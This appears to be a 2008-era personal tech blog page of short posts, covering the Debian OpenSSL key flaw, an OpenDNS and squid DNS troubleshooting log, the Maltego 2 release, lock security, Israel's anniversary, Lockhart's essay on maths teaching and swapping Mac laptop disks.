Zwitserland - Rusland 2 - 3

Kampioen EK2008: Rusland

Speculation SSL Ubuntu & Thawte

Hmm, considering the fact that Mark Schuttleworth is the founder of both Thawte and Ubuntu...

And Ubuntu is Debian based

And Debian's SSL suffers from a giant randomness issue

And www.thawte.com runs on Ubuntu

And Ubuntu is a large Certificate Authority

Does that insinuate all Thawte certificates are ready for a review? :P

A great day for scripters!

Last months have been good for the security market. SPAM rose [it has been since 30 years but who is counting?], BOTNETS grew, CC snooping went bigger and the list was nicely added with two, well, astounding issues within the last 24 hours.

First we have a crypto nub who decides to remove basically all randomness [the seed used for PRNG (Pseudo Random Number Generator) used when creating SSL keys] from SSL in Debian. That did not happen last week, nor last month, not even last year, but on Tue May 2 16:34:53 2006 UTC. For reasons that have been mentioned over and over again, not security people should not, repeat NOT fiddle with security issues. Specially not packagers who just want things to install cleanly and silently. That bad.

In this case an unnamed individual did not like what he saw as uninitialized data, he removed one line:
MD_Update(&m,buf,j);
That was enough to make ALL SLL certificates [and thus too the SSH keys that are based on SSL] generated on these systems a randomness that is limited to 32.768 options [all possible PID's on UNIX... That sounds a lot to humans, to computers that is nothing and to crypto it is fcuk all. It is so small that all possible keys have been generated in about two hours for the 1024-bit DSA and 2048-bit RSA keys for x86. HD Moore used 31 Xeon cores clocked at 2.33Ghz to do this.

Luckily for the researchers, HD Moore of metasploit moved quickly and created the OpenSSL Debian toolset WITHIN 24 HOURS[!!!] to toy with the issue.

Thank you. Scripters of the world: unite and have a ball!

To bring the issues a little closer to your mom & pop [who hardly depend on SSH], Aviv Raff decided to post a real nice and nifty 0-day for IE. Scripters of the world, you know what to do.

This is a particular nasty one, not just because it affects about 60% of all browsers in the world but also because our friends in Redmond just pushed out their monthly 'updates' so it will take at least another month before a patch is available, let alone the time it takes for mom & pop to actually update their IE.

So life is good, money there is to be made for us security people. Or is it?

Beta testers wanted for FERRET

Last October David Maynor went to the the NASCAR truck series. Of course he brought his iPhone with and was shocked to see so many open WiFi networks:


So what do you do when you made the headlines with your Ferret & Hamster releases in August 2007? You port Ferret [hamster too? Maybe? Please?] to the iPhone.

Now they are looking for beta testers with open iPhones. Feel up to the challenge?

Check here!

Happy Birthday Ha'Aretz!

Never will I forget how we met, how the initial moments where, how deeply I was moved by you and how a profound impact you made on me and my live.

It was a coincidence, no really, it was. It was not as if my live was aimed at that particular event, not that was I was brought up to come to you, not that I had any known desire to experience you. It was purely coincidental that we met. Or was it? Was it not so that in my family your name was uttered in soft words of the highest respect? Was it not so that the 'coded' words my grant parents & parents whispered to each other, hidden for us kids, when saying goodby, where words that ended with something like '...Jerusalem'?

It does not matter. Fact is, that on December the 27th, in the year 1989 you welcomed me. Fact is that ever since that day there is no place on earth that has touched me deeper, felt better, shines brighter then you.

Happy birthday, state of Israel. May you and your inhabitants live, prosper & find the peace and integrity you deserve.

Maths is the music of reason

musician wakes from a terrible nightmare. In his dream he finds himself in a society where music education has been made mandatory. “We are helping our students become more competitive in an increasingly sound-filled world.” Educators, school systems, and the state are put in charge of this vital project. Studies are commissioned, committees are formed, and
decisions are made— all without the advice or participation of a single working musician or composer.
Since musicians are known to set down their ideas in the form of sheet music, these curious black dots and lines must constitute the “language of music.” It is imperative that students become fluent in this language if they are to attain any degree of musical competence; indeed, it
would be ludicrous to expect a child to sing a song or play an instrument without having a thorough grounding in music notation and theory. Playing and listening to music, let alone composing an original piece, are considered very advanced topics and are generally put off until college, and more often graduate school.

As for the primary and secondary schools, their mission is to train students to use this language— to jiggle symbols around according to a fixed set of rules: “Music class is where we take out our staff paper, our teacher puts some notes on the board, and we copy them or transpose them into a different key. We have to make sure to get the clefs and key signatures right, and our teacher is very picky about making sure we fill in our quarter-notes completely. One time we had a chromatic scale problem and I did it right, but the teacher gave me no credit because I had the stems pointing the wrong way.”

In their wisdom, educators soon realize that even very young children can be given this kind of musical instruction. In fact it is considered quite shameful if one’s third-grader hasn’t completely memorized his circle of fifths. “I’ll have to get my son a music tutor. He simply won’t apply himself to his music homework. He says it’s boring. He just sits there staring out the window, humming tunes to himself and making up silly songs.”

In the higher grades the pressure is really on. After all, the students must be prepared for the standardized tests and college admissions exams. Students must take courses in Scales and Modes, Meter, Harmony, and Counterpoint. “It’s a lot for them to learn, but later in college when they finally get to hear all this stuff, they’ll really appreciate all the work they did in high school.” Of course, not many students actually go on to concentrate in music, so only a few will ever get to hear the sounds that the black dots represent. Nevertheless, it is important that every member of society be able to recognize a modulation or a fugal passage, regardless of the fact that they will never hear one. “To tell you the truth, most students just aren’t very good at music.

They are bored in class, their skills are terrible, and their homework is barely legible. Most of them couldn’t care less about how important music is in today’s world; they just want to take the minimum number of music courses and be done with it. I guess there are just music people and non-music people. I had this one kid, though, man was she sensational! Her sheets were impeccable— every note in the right place, perfect calligraphy, sharps, flats, just beautiful. She’s going to make one hell of a musician someday.”


Waking up in a cold sweat, the musician realizes, gratefully, that it was all just
a crazy dream. “Of course!” he reassures himself, “No society would ever reduce such a beautiful and meaningful art form to something so mindless and trivial; no culture could be so cruel to its children as to deprive them of such a natural, satisfying means of human expression. How
absurd!”

Meanwhile, on the other side of town, a painter has just awakened from a similar
nightmare…

***********
And all this leads us into a wonderful written essay on how we are messing up the love and purity of math for our kids. Written by Paul Lockhart [and NO, that is NOT the space invader Paul Lockhart], an assistant professor at Brown Brown who left to teach a mathematician's point of view to very young children. In his own words, "I want them to understand that there is a playground in their minds and that that is where mathematics happens. So far I have met with tremendous enthusiasm among the parents and kids, less so among the mid-level administrators." Is that so :P

BTW If anybody speaks to Paul, can you please ask him to start blogging or publishing more in any other way shape or form?

An eye opener and good read to boot. Enjoy it!

HELP: Linkedin removed my profile! [well, not mine, really]

What gives? A colleague of mine ran into my office and asked me to check Linkedin to see if I could find his profile. We are connected so, sure, I checked my connections. Since I am known to make a spelling error or two, specially with names, I was not convinced that something was wrong when I did not find him in my connections list.



So I used Google, who loves LinkedIn profiles, to see if I got his name correct: I did.







As a matter of fact, Google nicely cached his profile page on LinkedIn. CCIE # et all. So for sure he nor me is not nuts and he did have a LinkedIn profile and we are connected. Something must be wrong with my seach on LinkedIn, right?

Let's copy & paste that name, and CCIE serial, and repeat the search.


No matter what we tried, all we found was this "Dell sales dude" but never the hardcore network'er that stood behind me, I had linked to, and Google had cached.






So I tried some Google-fu to see if more people had their profile removed by LinkedIn, but all I found was people who asked for them selfs to be removed and happy faces that LinkedIn finally let's you remove links to people you once linked to. Silently, to make sure you piss nobody off :P

This is an interesting issue however.

I always check peoples LinkedIn profiles when I do job interviews or have business meetings planned with people I do not know. It often helps to make sure you use the correct wording [or metaphor's when clueless] when you know a little bit about their [public] background. I know many future employers do the same [Hi guys! I see you browse my profile before you call :D].

But what happens if you can't find that potential new employee on LinkedIn and you know nothing about her|him? Will it influence your initial selection on who to talk to and who not? I am sure it does for lots of companies. Never mind how smart that is, but it is done.

So what do you do when you drop of the most valuable professional showroom of the net? How does one prevent that from happening and having a too big an impact on your money making abilities?

Imagion being Vodafony and bending over Apple...

What do you get after you've been initially big mouthing Steve at the launch of the iPhone, claiming you know it all for you have been in the GSM cloud business so long?

You get the left overs, the 2G countries, like: Australia, the Czech Republic, Egypt, Greece, Italy, India, Portugal, New Zealand, South Africa and Turkey. And those you get not even exclusively, muwaa!!!

Being able to offload 2G handsets into secondary markets will be very useful for Apple if they do launch a 3G version of the iPhone as generally expected.

Now, Arun Sarin has been labeled strange and basically clueless before. Being out of touch with reality really scares the shiit out of people working in his company but who know, now that he found the way in to Apple's $ stream, maybe the good people working at Vodafone will get a break and develop something nice. Maybe. Then again it is more likely the big shot sees no need for cool iPhone apps and will be happy with the pennies and cents he is allowed to keep for the devices he sells, business like usual.

opendns resolve issue? no, it's squid.

For reasons only known to my shrink, I wanted Firefox to use a tunnel from a Windows XP machine to a OpenSuse linux host resolving via OpenDNS and squid to make things complete.

Funny stuff, that I do just because I can.

It is all really easy to get it up and running, nice to have your own tools on a sticky and funnel your wild browsing behavior encrypted to a known end point where you set it free into the world wild web. But trust is good, a functional test is better, but checking is better, as my audit teacher taught me. So the first thing I did was monitoring for data leakage on my local [windows host's] interface: nada. Schade.

Then I went to the remote's host interface to see what showed there: horor, nice! What I saw was part of the resolve queries going to my old and reliable [and we all hate reliable, right?] colocate DNS and part of the queries to OpenDNS. Hmm, makes you wonder. So checking the resolve file showed that I had correctly added the two opendns entries, and correctly removed the entries passed to the file via DHCP. I flushed the DNS cache, still no joy. Hmm, makes you wonder. Turned out it was squid not nicely obeying the new entries in the resolver file. Naughty squid!

My setup in more detail:

Firefox [2.0.14 on winXP SP2] well, actually it is FireFoxPortable on a 16Gb Flash Voyager.
putty [version 0.60] for a tunnel to an external host, listening on 127.0.0.1:8888, talking to 127.0.0.1:3128 where squid [Version 2.5.STABLE10] on Suse [2.6.13-15.18 i386]

I have added a boolean option into the URL "about:config" page in Firefox named "network.proxy.socks_remote_dns" and set it to true.

The resolver file on the remote host contains:
cat /etc/resolve
### BEGIN INFO
# # Modified_by: dhcpcd
# Backup: /etc/resolv.conf.saved.by.dhcpcd.eth0
# Process: dhcpcd
# Process_id: 4326
# Script: /sbin/modify_resolvconf
# Saveto:
# Info: This is a temporary resolv.conf created by service dhcpcd.
# The previous file has been saved and will be restored later.
# # If you don't like your resolv.conf to be changed, you
# can set MODIFY_{RESOLV,NAMED}_CONF_DYNAMICALLY=no. This # variables are placed in /etc/sysconfig/network/config.
# # You can also configure service dhcpcd not to modify it.
# # If you don't like dhcpcd to change your nameserver # settings
# then either set DHCLIENT_MODIFY_RESOLV_CONF=no
# in /etc/sysconfig/network/dhcp, or
# set MODIFY_RESOLV_CONF_DYNAMICALLY=no in
# /etc/sysconfig/network/config or (manually) use dhcpcd
# with -R. If you only want to keep your searchlist, set
# DHCLIENT_KEEP_SEARCHLIST=yes in /etc/sysconfig/network/dhcp or
# (manually) use the -K option.
# ### END INFO
nameserver 208.67.222.222
nameserver 208.67.220.220

And yes, I have set both options to 'no'

To clear the dns 'cache' I used:
/etc/init.d/nscd restart

What puzzled me is the following output when I use my local browser [that tunnels it's requests to the remote host] and monitor the DNS queries on the remote host's interface [the remote host being my-host.xxx, my provider's dns server being lookup2.colo.xxx]:

tcpdump -p -i eth0 port 53

15:52:19.525862 IP my-host.xxx.33278 > lookup2.colo.xxx.domain: 28225+ A? mokumvonamsterdam.blogspot.com. (48)
15:52:19.526356 IP my-host.xxx.39176 > resolver1.opendns.com.domain: 28417+ PTR? 188.250.202.213.in-addr.arpa. (46)
15:52:19.542138 IP lookup2.colo.xxx.domain > my-host.xxx.33278: 28225 2/7/7[|domain]
15:52:19.739094 IP resolver1.opendns.com.domain > my-host.xxx.39176: 28417 1/0/0 (75)
15:52:19.739459 IP my-host.xxx.39176 > resolver1.opendns.com.domain: 17259+ PTR? 81.240.202.213.in-addr.arpa. (45)
15:52:19.949697 IP resolver1.opendns.com.domain > my-host.xxx.39176: 17259 1/0/0 (67)
15:52:19.950334 IP my-host.xxx.39176 > resolver1.opendns.com.domain: 48705+ PTR? 222.222.67.208.in-addr.arpa. (45)
15:52:19.973525 IP resolver1.opendns.com.domain > my-host.xxx.39176: 48705 1/0/0 (80)
15:52:20.698247 IP my-host.xxx.33278 > lookup2.colo.xxx.domain: 63234+ A? www.blogger.com. (33)
15:52:21.028751 IP lookup2.colo.xxx.domain > my-host.xxx.33278: 63234 2/7/7[|domain]
15:52:23.133656 IP my-host.xxx.33278 > lookup2.colo.xxx.domain: 57393+ A? www.youtube.com. (33)
15:52:23.134089 IP lookup2.colo.xxx.domain > my-host.xxx.33278: 57393 3/3/3 A youtube.com,[|domain]
15:52:23.134563 IP my-host.xxx.39176 > resolver1.opendns.com.domain: 51875+ PTR? 253.153.65.208.in-addr.arpa. (45)
15:52:23.157911 IP resolver1.opendns.com.domain > my-host.xxx.39176: 51875 1/0/0 (70)
15:52:24.315674 IP my-host.xxx.33278 > lookup2.colo.xxx.domain: 48709+ A? twitter.com. (29)
15:52:24.502987 IP lookup2.colo.xxx.domain > my-host.xxx.33278: 48709 1/5/5 A[|domain]
15:52:25.981131 IP my-host.xxx.33278 > lookup2.colo.xxx.domain: 25981+ A? www.google.com. (32)
15:52:25.981560 IP lookup2.colo.xxx.domain > my-host.xxx.33278: 25981 5/7/7 CNAME www.l.google.com.,[|domain]
15:52:28.057148 IP my-host.xxx.33278 > lookup2.colo.xxx.domain: 20445+ A? www.google-analytics.com. (42)
15:52:28.057758 IP lookup2.colo.xxx.domain > my-host.xxx.33278: 20445 5/7/7 CNAME[|domain]
15:52:29.280144 IP my-host.xxx.33278 > lookup2.colo.xxx.domain: 59181+ A? toolbarqueries.google.com. (43)
15:52:29.408904 IP lookup2.colo.xxx.domain > my-host.xxx.33278: 59181 5/7/7[|domain]

Turned out that I had to restart squid [/etc/init.d/squid restart] to make the resolving act nicely and forward _all_ lookups to opendns.com

16:12:04.543848 IP my-host.xxx.39176 > resolver1.opendns.com.domain: 8407+ A? mokumvonamsterdam.blogspot.com. (48)
16:12:04.567414 IP resolver1.opendns.com.domain > my-host.xxx.39176: 8407 2/0/0[|domain]
16:12:05.282740 IP my-host.xxx.39176 > resolver1.opendns.com.domain: 58294+ A? www.blogger.com. (33)
16:12:05.306651 IP resolver1.opendns.com.domain > my-host.xxx.39176: 58294 2/0/0 CNAME[|domain]
16:12:08.624282 IP my-host.xxx.39176 > resolver1.opendns.com.domain: 59333+ A? central.ujcfedweb.org. (39)
16:12:08.843032 IP resolver1.opendns.com.domain > my-host.xxx.39176: 59333 2/0/0 CNAME[|domain]
16:12:10.189203 IP my-host.xxx.39176 > resolver1.opendns.com.domain: 58807+ A? twitter.com. (29)
16:12:10.212537 IP resolver1.opendns.com.domain > my-host.xxx.39176: 58807 1/0/0 A 128.121.146.100 (45)
16:12:10.213033 IP my-host.xxx.39177 > resolver1.opendns.com.domain: 18146+ PTR? 100.146.121.128.in-addr.arpa. (46)
16:12:10.236480 IP resolver1.opendns.com.domain > my-host.xxx.39177: 18146 NXDomain 0/0/0 (46)
16:12:12.703541 IP my-host.xxx.39176 > resolver1.opendns.com.domain: 11197+ A? www.google.com. (32)
16:12:12.727000 IP resolver1.opendns.com.domain > my-host.xxx.39176: 11197 3/0/0 CNAME[|domain]
16:12:13.629888 IP my-host.xxx.39176 > resolver1.opendns.com.domain: 24465+ A? www.justsayhi.com. (35)
16:12:13.738147 IP resolver1.opendns.com.domain > my-host.xxx.39176: 24465 1/0/0 A 4.78.241.72 (51)
16:12:13.738702 IP my-host.xxx.39177 > resolver1.opendns.com.domain: 42572+ PTR? 72.241.78.4.in-addr.arpa. (42)
16:12:14.273047 IP resolver1.opendns.com.domain > my-host.xxx.39177: 42572 NXDomain 1/0/0 CNAME[|domain]
16:12:15.706642 IP my-host.xxx.39176 > resolver1.opendns.com.domain: 54172+ A? www.google-analytics.com. (42)
16:12:15.730274 IP resolver1.opendns.com.domain > my-host.xxx.39176: 54172 5/0/0 CNAME[|domain]
16:12:18.673145 IP my-host.xxx.39176 > resolver1.opendns.com.domain: 40629+ A? toolbarqueries.google.com. (43)
16:12:18.696662 IP resolver1.opendns.com.domain > my-host.xxx.39176: 40629 5/0/0[|domain]

Hope this helps someone trying to use opendns.com too.

Google ad's my Inbox(1) !!!

Here is a nice variation on misleading google ad's: claiming your Inbox has (1) unread email, smart move [thanks to Twitter, Twinkle & Jeroen Mirck for making this possible :P ].

I liked the people who used the ASCII adds last year, I do, I am inn the market for funny ads that make me wonder, think or just laugh.

Unfortunatly, ASCII art ad's are over since Google altered the 'puncuation' rule.

Maltego v2 - is ready!

Oh boy I am so exited!

Get it at: http://www.paterva.com/maltego/

All,

After 15 months of work Maltego version 2.0 is ready. It's been a long and interesting road. Many of you have seen the product grow from beta 1 to beta 2, then KZ3 and JS1. I've shared with you the challenges, the ups and downs. Finally, today, I am happy to release version 2.0.
Version 2.0 is commercial and I feel it's got the right be commercial because it's by far the coolest and most useful application I've ever used (OK so perhaps I am just slightly biased). As I've mentioned before - it goes live to this list first. Everything is set up, but not linked to the main site. I will link it on Monday.

Also - as promised - a list of new features/improvements:

* Load/Save of entire graphs means you can always go back to your investigation.
* Printing of graphs (over multiple pages)
* Export of entities (CSV format) makes it easy to import Maltego data into other databases.
* Commercial grade layout library:
o The layout and navigation have been optimized for speed and usability.
o Four layout types to rearrange data the way YOU want it.
o Two view types for finding relevant info on large graphs.
* More entities and 20 brand new transforms for even deeper searches and more information.
* Search/Find (on entity value, detailed info and additional fields) helps you to get to key nodes quicker.
* Multiple open graphs on different tabs for easy switching between graphs.
* Dedicated clear-all, zoom buttons for notebook users.
* Hollywood quality look & feel will impress your friends and your boss.
* Integrated help on transforms and entities to increase your learning curve.
* Complete user guide ensures you are never lost.
* Prepopulated and preconfigured transforms and transform sets saves you time.
* Population of API key integrated with license key so it’s never lost.
* Platform independent installer means you can install it anywhere.

If you want to see what it looks like before making a commitment you should look at the user guide and the screen shots. You should also read the system requirements.

The documentation can be found at http://ctas.paterva.com/wiki

Enjoy responsibly,
Roelof.

Avoiding speed traps, different

57 year old dude tries to avoid a speedtrap by applying the front break and sliding past below the radar:



Did not really work well. Broke his arm _and_ got a ticket.

Locks, SKG, the chalange

Whenever I move in to a new appartement, a new office building or take on the responsibility of other property that is secured by a cylinder lock, I exchange it.

The old cylinder and all it's associated keys will be documented and stored for later retrieval.

The new cylinder will be bought by me, at a store I trust and with a security certificate I like and I pay attention that _nothing_ that can identify me or my location gets associated with the certificate for I would not like to have to worry about the where abouts of that data since it is not under my control [the certificate can be used to remake a key without having a copy of the key].

So I pay by cash and have a second lock smith do the installation.

The appartment I moved in recently is a newly build complex. About a 1.000 appartments have been build by 45 different subcontracters who dig holes, lay pipes, pull wires, connect walls, paint doors and insert locks. For whatever it is worth: I do not trust them. The change that one of the workers copies the cuts of my particular key is just something that makes me feel uncomfortable.

Personally I know too little about the inner workings of locks to be able make a valid judgement about the grade of the lock, so I will buy only stff that does comply with the toughest international standards, including ISO 9001/2000, UL, CEN, VDS, SKG, CPC and A2P. Or when in Holland, the SKG [Stichting Kwaliteit Gevelbouw].

It is amazing to see that the price difference between a SKG ** and *** is rather low in comparison to the added features. One of the features I find a must have is the bump key proofing of locks. But all of this is just to prevent the damage free opening of the door.

Other measures need to be taken to prevent the more common 'crowbar style' and the 'Bulgarian' method [drilling]. A good resource of more information on the topic is The Open Organisation Of Lockpickers' that is credited with spreading the word on the issue in Holland, but even more important the concept behind high security lock design by Ross Kinard.

Googlology!

Never mind those old and dusty religions, for get the olt skool printed stuff, do not bother with the 10 rules, forget about diet stuff, reincarnation is of the past, after life is obsolete.

What rules now is Googlology. It's religion on steroids. No need for G*d in heaven, no need for spirits in the sky. Googlology designs and runs it's own heaven, and it's name is 'The Cloud'

The cloud will take care of your data, no matter where you need it, it will be there. The cloud will provide your services with more computing power then it needs, and the some. The cloud will harbour your applications, your email, your videostream, your rants, your pictures, your secrets and your dates, your world, your drawings, your finances, your money, and a whole lot more.

And I should know, since I drink all the Google Gulp from a hose.

But what if the cloud, errr, sort of not does what the EULA sort of makes you believe? What if the lawyer@TheCould p0wnzers you? And your data? What if, insert-your-personaly-favorite-upper-being-here, strikes back and lets some unknown entity take control over, well, you, basically?

How does one secure the absolute power of the cloud? There are some very smart people talking about it but lots of discussion is still about the definition, much less about the consequences, let alone what it actually means or how to do it.

Do you want to be the one who turns of the light now that everybody has left the old arena, or will you participate in shaping the future?

Replace your MAC harddisk, easy

I should do stuff more often, at least it makes far hotter stuff come out.

Couple of days ago I decided that both MAC laptops in the house needed more storage. The G4 PowerBook and the MacBook. So I ordered a Western Digital Scorpio 250GB 5400RPM and a Western Digital Scorpio 320GB 5400RPM. The replacement of the MacBook one can do with a sharp kitchen knife, no problem. Just remove the batery [do not bother shutting the OS down, it's as stable as my weight] and take a sharp kitchen knife [I used the new Global one I gave my wife a couple of days ago]. Unscrew 3 little screws, pull out the harddisk, take a strong plyer, remove the 4 screws, take the plastic thingy, wrap it on the new disk, sort of re attach the 4 screws, stick the thing back in. Ram the old battery in and of you go [never mind about the 3 little screws and the metal strip, all just surplus weight].

Reinstall and do not mind about the updates that want you to reboot your DVD version of the OS 4 times!

Now the Powerbook, that is another story. About 23 philips screws [tiny fuckers!] and then 2 torx 6, that is SIX, not 8, but 6, the smallest possible tool made only in Switzerland and it will set you back about the same amount of euroos as the 320Gb disk.

Then you get to pull of two, well, 'connectors' that are actually used open ended flatcables: class construction. Putting the whole thing back is a joy. Takes the precision of a live-bomb-defuser, nice enginering.

Installing the OS of course requieres the PPC version. Inserting the iMac Intel version yields a nice panic message. Never mind about the I-do-not-know-how-many updates and reboots [even for the so called 3.1.x SAFARY update one gets a reboot!], for they slow down the secure OS X anyway.

Right after finishing something flashy caught my eye: the MHZ2 CJ.

A 2.5 inch Serial-ATA Revision 2.6 (Gen1i and Gen2i) hard disk with embedded AES 256-bit hardware-based encryption, high-speed rotational speed of 7200rpm, it supports SATA 3.0Gbit/s and the capacities go up to 320GB with a 16MB buffer... How is that for cool?

You know what that means as soon as you see it: dumping the current disk for no reason on ebay, including all the private data it has accumelated in a months time and over pay for the new disk since it is new and hot.